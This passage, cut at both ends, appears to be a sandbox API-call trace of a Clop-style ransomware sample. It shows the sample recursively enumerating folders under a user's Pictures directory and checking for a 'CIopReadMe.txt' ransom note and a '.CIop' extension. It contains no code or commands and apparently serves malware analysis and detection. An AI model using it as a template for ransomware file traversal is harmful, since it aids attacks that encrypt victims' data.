lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0158.969] SetErrorMode (uMode=0x1) returned 0x1 [0158.969] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0158.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0158.969] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\" [0158.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0158.969] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67def8 [0158.969] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0158.969] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0158.970] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0158.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0158.970] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dfb8 [0158.970] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0158.970] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0158.970] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.970] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.970] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.970] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2="..") returned 1 [0158.970] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2=".") returned 1 [0158.970] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0158.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0158.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0158.970] SetErrorMode (uMode=0x1) returned 0x1 [0158.970] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0158.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0158.970] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0158.970] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0158.970] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0158.970] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0158.970] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0158.970] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.970] lstrlenW (lpString=".CIop") returned 5 [0158.971] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0158.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0158.971] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0158.971] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0158.971] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0158.971] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0158.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0158.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0158.971] SetErrorMode (uMode=0x1) returned 0x1 [0158.971] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0158.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0158.971] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0158.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0158.971] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e2b8 [0158.971] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0158.971] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0158.971] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.974] lstrlenW (lpString=".CIop") returned 5 [0158.974] lstrlenW (lpString=".CIop") returned 5 [0158.974] lstrlenW (lpString=".CIop") returned 5 [0158.974] lstrlenW (lpString=".CIop") returned 5 [0158.974] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0158.974] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0158.974] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67de38 [0158.974] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0158.974] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0158.974] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0158.974] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0158.974] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0158.975] SetErrorMode (uMode=0x1) returned 0x1 [0158.975] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0158.975] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0158.975] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0158.975] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0158.975] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67e2b8 [0158.975] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0158.975] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0158.975] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.975] lstrlenW (lpString=".CIop") returned 5 [0158.975] lstrlenW (lpString=".CIop") returned 5 [0158.975] lstrlenW (lpString=".CIop") returned 5 [0158.975] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0158.975] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0158.975] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67e0f8 [0158.975] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0158.975] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0158.975] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.975] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.975] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.975] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.975] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0158.975] lstrcmpW (lpString1="xDtCMA3q", lpString2="..") returned 1 [0158.975] lstrcmpW (lpString1="xDtCMA3q", lpString2=".") returned 1 [0158.975] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0158.975] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0158.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0158.976] SetErrorMode (uMode=0x1) returned 0x1 [0158.976] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q" [0158.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0158.976] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0158.976] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\", lpString2="*.*" | out: 